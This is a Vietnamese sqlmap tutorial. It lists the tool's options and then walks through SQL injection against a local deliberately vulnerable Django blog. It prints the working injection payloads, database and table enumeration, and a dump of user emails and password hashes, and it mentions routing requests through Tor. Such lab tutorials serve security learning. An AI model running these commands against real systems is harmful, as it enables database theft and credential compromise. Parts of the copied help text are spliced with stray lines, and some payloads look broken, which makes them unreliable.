

SQLmap

Overview:

Sqlmap là tool tự động được viết bằng ngôn ngữ python để khai thác lỗ hổng Sql Injection. Hỗ trợ 5 kiểu khai thác SQL khác nhau

1. Boolean-based
2. Time-based
3. Error-based
4. Union query-based
5. Stacked queries aka piggy backing:

Sử dụng: sqlmap [options]

Để xem các option hỗ trợ :

```
Options:
-h, --help                Show basic help message and exit
-hh                       Show advanced help message and exit
--version                 Show program's version number and exit
-v VERBOSE                Verbosity level: 0-6 (default 1)
```

Các option xác định Target:

```
Target:
At least one of these options has to be provided to define the target(s)

-u URL, --url=URL         Target URL (e.g. "http://www.site.com/vuln.php?id=1")
-d DIRECT                 Connection string for direct database connection
-l LOGFILE                 Parse target(s) from Burp or WebScarab proxy log file
-m BULKFILE               Scan multiple targets given in a textual file
-r REQUESTFILE            Load HTTP request from a file
-g GOOGLEDORK              Process Google dork results as target URLs
-c CONFIGFILE             Load options from a configuration INI file
```

```
sqlmap -u http://localhost:8000/post/4
```

Request: Sử dụng để chỉ định cách kết nối cụ thể tới url mục tiêu

```
Request:
These options can be used to specify how to connect to the target URL mutual
laws. Developers assume no liability and are not responsible for any misuse or
-A AGENT, --user-agent=AGENT HTTP User-Agent header value
-H HEADER, --header=HEADER Extra header (e.g. "X-Forwarded-For: 127.0.0.1")
--method=METHOD           Force usage of given HTTP method (e.g. PUT)
--data=DATA                 Data string to be sent through POST (e.g. "id=1")
--param-del=PARAM_DEL      Character used for splitting parameter values (e.g. &)
--cookie=COOKIE             HTTP Cookie header value (e.g. "PHPSESSID=a8d127e..")
--cookie-del=COOKIE_DEL    Character used for splitting cookie values (e.g. ;)
```

VD: Sử dụng Tor anonymity network để gửi các request

```
sqlmap -u http://localhost:8000/post/4 --tor
```

Optimization: Tối ưu quá trình sqlmap

```
Optimization:
  These options can be used to optimize the performance of sqlmap

  -o                Turn on all optimization switches
  --predict-output   Predict common queries output
  --keep-alive       Use persistent HTTP(s) connections
  --null-connection  Retrieve page length without actual HTTP response body
  --threads=THREADS Max number of concurrent HTTP(s) requests (default 1)
```

- Các option xác định Target:

Target: (at least one of these will be tested)

VD : sử dụng `--threads=5` để nâng luồng gửi Max = 5 request cùng lúc giúp tối ưu thời gian

```
sqlmap -u http://localhost:8000/post/4 --threads=5
```

Injection: chỉ định các tham số để test như parameter, dbms, os, tamper(tamper là các script tùy chỉnh)

```
Injection: (used for setting for SOCKS proxy settings)
  These options can be used to specify which parameters to test for, proxy. Please make sure
  to provide custom injection payloads and optional tampering scripts

  -p TESTPARAMETER(s) Testable parameter(s)
  --skip=SKIP          Skip testing for given parameter(s)
  --skip-staticparam=SKIP Skip testing parameters that not appear to be dynamic
  --param-exclude=..   Regexp to exclude parameters from testing (e.g. "ses")
  --param-filter=P...  Select testable parameter(s) by place (e.g. "POST")
  --dbms=DBMS         Force back-end DBMS to provided value
  --dbms-cred=DBMS... DBMS authentication credentials (user:password)
```

Detection: sử dụng để customize lại quá trình scan

```
Detection:
  These options can be used to customize the detection phase

  --level=LEVEL       Level of tests to perform (1-5, default 1)
  --risk=RISK          Risk of tests to perform (1-3, default 1)
  --string=STRING      String to match when query is evaluated to True
  --not-string=NOT...  String to match when query is evaluated to False
  --regexp=REGEXP      Regexp to match when query is evaluated to True
  --code=CODE          HTTP code to match when query is evaluated to True
  --smart              Perform thorough tests only if positive heuristic(s)
  --text-only          Compare pages based only on the textual content
  --titles             Compare pages based only on their titles
```

Techniques: Chỉ định phương pháp scan, mặc định là toàn bộ

- B: Boolean-based blind
- E: Error-based
- U: Union query-based
- S: Stacked queries

- T: Time-based blind
- Q: Inline queries

```

Techniques:
These options can be used to tweak testing of specific SQL injection techniques

--technique=TECH.. SQL injection techniques to use (default "BEUSTQ")
--time-sec=TIMESEC Seconds to delay the DBMS response (default 5)
--union-cols=UCOLS Range of columns to test for UNION query SQL injection
--union-char=UCHAR Character to use for bruteforcing number of columns
--union-from=UFROM Table to use in FROM part of UNION query SQL injection
--dns-domain=DNS.. Domain name used for DNS exfiltration attack
--second-url=SEC.. Resulting page URL searched for second-order response
--second-req=SEC.. Load second-order HTTP request from file

```

Enumeration: Sử dụng để lấy các thông tin về DB, Tables, Structure and Data

```

Enumeration:
These options can be used to enumerate the back-end database management system information, structure and data contained in the tables

-a, --all          Retrieve everything
-b, --banner       Retrieve DBMS banner
--current-user     Retrieve DBMS current user
--current-db       Retrieve DBMS current database
--hostname         Retrieve DBMS server hostname
--is-dba           Detect if the DBMS current user is DBA
--users            Enumerate DBMS users
--passwords        Enumerate DBMS users password hashes
--privileges       Enumerate DBMS users privileges
--roles            Enumerate DBMS users roles
--dbs              Enumerate DBMS databases
--tables           Enumerate DBMS database tables
--columns          Enumerate DBMS database table columns
--schema           Enumerate DBMS schema
--count            Retrieve number of entries for table(s)
--dump             Dump DBMS database table entries
--dump-all        Dump all DBMS databases tables entries
--search           Search column(s), table(s) and/or database name(s)
--comments         Check for DBMS comments during enumeration
--statements       Retrieve SQL statements being run on DBMS
-D DB             DBMS database to enumerate
-T TBL           DBMS database table(s) to enumerate
-C COL           DBMS database table column(s) to enumerate
-X EXCLUDE        DBMS database identifier(s) to not enumerate
-U USER          DBMS user to enumerate
--exclude-sysdbs  Exclude DBMS system databases when enumerating tables
--pivot-column=P.. Pivot column name
--where=DUMPWHERE Use WHERE condition while table dumping
--start=LIMITSTART First dump table entry to retrieve
--stop=LIMITSTOP  Last dump table entry to retrieve
--first=FIRSTCHAR First query output word character to retrieve
--last=LASTCHAR   Last query output word character to retrieve
--sql-query=SQLQ.. SQL statement to be executed
--sql-shell       Prompt for an interactive SQL shell
--sql-file=SQLFILE Execute SQL statements from given file(s)

```

Sử dụng để scan project Blog Vulnerability:

B1: Scan xác định lỗ hổng trên trường id

```
sqlmap -u http://localhost:8000/post/4 --batch
```

--batch: Never ask for user input, use the default behavior

SQLmap sẽ inject các payload để xác định loại lỗi của Target

```
Parameters: 0: (URL)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: http://localhost:8000/post/4 AND 3334=3334

Type: error-based
Title: PostgreSQL AND error-based : WHERE or HAVING clause
Payload: http://localhost:8000/post/4 AND 8131=CAST((CHR(113)||CHR(122)||CHR(106)||CHR(113)|| (SELECT (CASE WHEN (8131=8131) THEN 1 ELSE 0 END))::text)||CHR(113)||CHR(106)||CHR(120)||CHR(112)||CHR(113)) AS NUMERIC))

Type: stacked queries
Title: PostgreSQL > 0.9 stacked queries (comment)
Payload: http://localhost:8000/post/4;SELECT PG_SLEEP(5)

Type: time-based blind
Title: PostgreSQL > 0.9 AND time-based blind
Payload: http://localhost:8000/post/4 AND 2043=SELECT 2043 FROM PG_SLEEP(5)

Type: UNION query
Title: Generic UNION query (NULL) - 7 columns
Payload: http://localhost:8000/post/4 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL, (CHR(113)||CHR(122)||CHR(106)||CHR(113)|| (SELECT (CASE WHEN (8131=8131) THEN 1 ELSE 0 END))::text)||CHR(113)||CHR(106)||CHR(120)||CHR(112)||CHR(113)) AS NUMERIC))

[10:35:13] INFO
Back-end DBMS: PostgreSQL
```

B2: Sử dụng --dbs để xác định các database hiện có :

```
sqlmap -u http://localhost:8000/post/4 --batch --dbs
```

```
available databases [3]:
[*] information_schema
[*] pg_catalog
[*] public
```

B3: Sử dụng -D database_name --tables để liệt kê các Bảng trong DB:

```
sqlmap -u http://localhost:8000/post/4 --batch -D public --tables
```

```
+-----+
| auth_group
| auth_group_permissions
| auth_permission
| auth_user
| auth_user_groups
| auth_user_user_permissions
| blogapp_comment
| blogapp_post
| blogapp_post_author_id
| blogapp_post_tags
| blogapp_role
| blogapp_tags
| blogapp_userprofile
| blogapp_vul
| django_admin_log
| django_content_type
| django_migrations
| django_session
+-----+
```

B4: `sqlmap -u http://localhost:8000/post/4 --batch -D public -T auth_user --column`

Xác định các cột có trong bảng auth_user, KQ:

```
Database: public
Table: auth_user
[11 columns]
+-----+
| Column          | Type          |
+-----+
| date_joined     | timestamptz   |
| email           | varchar       |
| first_name      | varchar       |
| id              | int4          |
| is_active       | bool          |
| is_staff        | bool          |
| is_superuser    | bool          |
| last_login      | timestamptz   |
| last_name       | varchar       |
| password        | varchar       |
| username        | varchar       |
+-----+
```

B5:

```
sqlmap -u http://localhost:8000/post/4 --batch -D public -T auth_user -C email,password,username --dump
```

```
Database: public
Table: auth_user
[2 entries]

+-----+-----+-----+
| email      | password                                                                                                     | username |
+-----+-----+-----+
| abc1@a.com  | pbkdf2_sha256$260000$U18SALmQ1H8jvTt9aCY8BK$ZyHQ/pQndo1UWu8RXV09L503VNWSmLspVKxn5kamwr0= | abc1     |
| admin1@a.com | pbkdf2_sha256$260000$LcUvMiFR0JeXbrnNuwaLMA$ZvPa7qF2MR1TlpujmDm1SG9AUncQB8tWgjAaXeQzp0A= | admin    |
+-----+-----+-----+

[19:48:06] [INFO] table 'public.auth_user' dumped to CSV file '/home/wolf/snap/sqlmap/18/.local/share/sqlmap/output/localhost/dump/public/auth_user.csv'
[19:48:06] [INFO] fetched data logged to text files under '/home/wolf/snap/sqlmap/18/.local/share/sqlmap/output/localhost'
```

Data và các thông tin liên quan được lưu lại vào path :

